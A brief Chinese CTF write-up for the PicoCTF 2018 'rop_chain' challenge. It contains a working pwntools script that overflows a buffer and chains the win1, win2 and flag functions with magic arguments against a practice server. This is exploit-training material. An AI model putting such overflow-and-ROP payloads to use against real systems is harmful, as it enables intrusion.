image.png
    溢出点
    image.png
    后门函数
    image.png
    所以找win1,win2
    image.png
    刚开始我是不懂这个if语句的,然后我自己写了个,好家伙
    image.png

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level = 'debug'
    4. #io = process('./PicoCTF_2018_rop_chain')
    5. io = remote("node4.buuoj.cn",27414)
    6. #gdb.attach(io)
    7. win1_addr = 0x080485CB
    8. win2_addr =0x080485D8
    9. flag_addr =0x0804862B
    10. payload = b'a'*(0x18+4)+p32(win1_addr)+p32(win2_addr)+p32(flag_addr)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
    11. io.sendafter('Enter your input> ',payload)
    12. io.interactive()

    然后,ida真的很强大,,
    我觉得ret2libc3的方法也能做,当然我没试,懒得整了